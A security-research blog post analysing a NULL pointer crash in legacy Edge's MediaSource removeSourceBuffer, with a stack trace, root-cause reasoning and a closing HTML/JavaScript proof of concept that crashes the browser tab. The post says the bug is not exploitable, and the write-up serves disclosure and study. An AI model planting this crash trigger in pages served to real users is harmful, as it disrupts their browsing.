During yet another Digital Forensics investigation using ZecOps Crash Forensics Platform, we saw a crash of the Legacy (pre-Chromium) Edge browser. The crash was caused by a NULL pointer dereference bug, and we concluded that the root cause was a benign bug of the browser. Nevertheless, we thought that it would be a nice showcase of a crash reproduction.
Here’s the stack trace of the crash:
00007ffa`35f4a172 edgehtml!CMediaElement::IsSafeToUse+0x8
00007ffa`36c78124 edgehtml!TrackHelpers::GetStreamIndex+0x26
00007ffa`36c7121f edgehtml!CSourceBuffer::RemoveAllTracksHelper<CTextTrack,CTextTrackList>+0x98
00007ffa`36880903 edgehtml!CMediaSourceExtension::Var_removeSourceBuffer+0xc3
00007ffa`364e5f95 edgehtml!CFastDOM::CMediaSource::Trampoline_removeSourceBuffer+0x43
00007ffa`3582ea87 edgehtml!CFastDOM::CMediaSource::Profiler_removeSourceBuffer+0x25
00007ffa`359d07b6 Chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x207
00007ffa`35834ab8 Chakra!amd64_CallFunction+0x86
00007ffa`35834d38 Chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x198
00007ffa`35834f99 Chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0xb8
00007ffa`3582cd80 Chakra!Js::InterpreterStackFrame::ProcessProfiled+0x149
00007ffa`3582df9f Chakra!Js::InterpreterStackFrame::Process+0xe0
00007ffa`3582cf9e Chakra!Js::InterpreterStackFrame::InterpreterHelper+0x88f
0000016a`bacc1f8a Chakra!Js::InterpreterStackFrame::InterpreterThunk+0x4e
00007ffa`359d07b6 0x0000016a`bacc1f8a
00007ffa`358141ea Chakra!amd64_CallFunction+0x86
00007ffa`35813f0c Chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x2aa
00007ffa`35813e4a Chakra!Js::JavascriptFunction::CallRootFunction+0x7c
00007ffa`35813d29 Chakra!ScriptSite::CallRootFunction+0x6a
00007ffa`35813acb Chakra!ScriptSite::Execute+0x179
00007ffa`362bebed Chakra!ScriptEngineBase::Execute+0x19b
00007ffa`362bde49 edgehtml!CListenerDispatch::InvokeVar+0x41d
00007ffa`362bc6c2 edgehtml!CEventMgr::_InvokeListeners+0xd79
00007ffa`35fdf8f1 edgehtml!CEventMgr::Dispatch+0x922
00007ffa`35fe0089 edgehtml!CEventMgr::DispatchPointerEvent+0x215
00007ffa`35fe04f4 edgehtml!CEventMgr::DispatchClickEvent+0x1d1
00007ffa`36080f10 edgehtml!Tree::ElementNode::Fire_onclick+0x60
00007ffa`36080ca0 edgehtml!Tree::ElementNode::DoClick+0xf0
[...]
Amusingly, the browser crashed in the CMediaElement::IsSafeToUse function. Apparently, the answer is no – it isn’t safe to use.
Crash reproduction
The stack trace indicates that the function that was executed by the JavaScript code, and eventually caused the crash, was removeSourceBuffer, part of the MediaSource Web API. Looking for a convenient example to play with, we stumbled upon this page which uses the counterpart function, addSourceBuffer. We added a button that calls removeSourceBuffer and tried it out.
Just calling removeSourceBuffer didn’t cause a crash (otherwise it would be too easy, right?). To see how far we got, we attached a debugger and put a breakpoint on the edgehtml!CMediaSourceExtension::Var_removeSourceBuffer function, then did some stepping. We saw that the CSourceBuffer::RemoveAllTracksHelper function is not being called at all. What tracks does it help to remove?
After some searching, we learned that there’s the HTML <track> element that allows us to specify textual data, such as subtitles, for a media element. We added such an element to our sample video and bingo! Edge crashed just as we hoped.
Crash reason
Our best guess is that the crash happens because the CTextTrackList::GetTrackCount function returns an incorrect value. In our case, it returns 2 instead of 1. An iteration is then made, and the CTextTrackList::GetTrackNoRef function is called with index values from 0 to the track count (simplified):
int count = CTextTrackList::GetTrackCount();
for (int i = 0; i < count; i++) {
CTextTrackList::GetTrackNoRef(..., i);
/* more code... */
}
While it may look like an out-of-bounds bug, it isn’t. GetTrackNoRef returns an error for an invalid index, and for index=1 (in our case), a valid object is returned, it’s just that one of its fields is a NULL pointer. Perhaps the last value in the array is some kind of a sentinel value which was not supposed to be part of the iteration.
Exploitation
The bug is not exploitable, and can only cause a slight inconvenience by crashing the browser tab.
POC
Here’s a POC that demonstrates the crash. Save it as an html file, and place the test.mp4, foo.vtt files in the same folder.
Tested version:
- Microsoft Edge 44.18362.449.0
- Microsoft EdgeHTML 18.18363
<button>Crash</button>
<br><br><br>
<video autoplay controls playsinline>
<!-- https://gist.github.com/Michael-ZecOps/046e2c97d208a0a6da2f81c3812f7d5d -->
<track label="English" kind="subtitles" srclang="en" src="foo.vtt" default>
</video>
<script>
// Based on: https://simpl.info/mse/
var FILE = 'test.mp4'; // https://w3c-test.org/media-source/mp4/test.mp4
var video = document.querySelector('video');
var mediaSource = new MediaSource();
video.src = window.URL.createObjectURL(mediaSource);
mediaSource.addEventListener('sourceopen', function () {
var sourceBuffer = mediaSource.addSourceBuffer('video/mp4; codecs="mp4a.40.2,avc1.4d400d"');
var button = document.querySelector('button');
button.onclick = () => mediaSource.removeSourceBuffer(mediaSource.sourceBuffers[0]);
get(FILE, function (uInt8Array) {
var file = new Blob([uInt8Array], {
type: 'video/mp4'
});
var reader = new FileReader();
reader.onload = function (e) {
sourceBuffer.appendBuffer(new Uint8Array(e.target.result));
sourceBuffer.addEventListener('updateend', function () {
if (!sourceBuffer.updating && mediaSource.readyState === 'open') {
mediaSource.endOfStream();
}
});
};
reader.readAsArrayBuffer(file);
});
}, false);
function get(url, callback) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.responseType = 'arraybuffer';
xhr.send();
xhr.onload = function () {
if (xhr.status !== 200) {
alert('Unexpected status code ' + xhr.status + ' for ' + url);
return false;
}
callback(new Uint8Array(xhr.response));
};
}
</script>

Does mobile DFIR research interest you?
ZecOps is expanding. We’re looking for additional researchers to join ZecOps Research Team. If you’re interested, send us a note at [email protected].
Hear the news first
- Only essential content
- New vulnerabilities & announcements
- News from ZecOps Research Team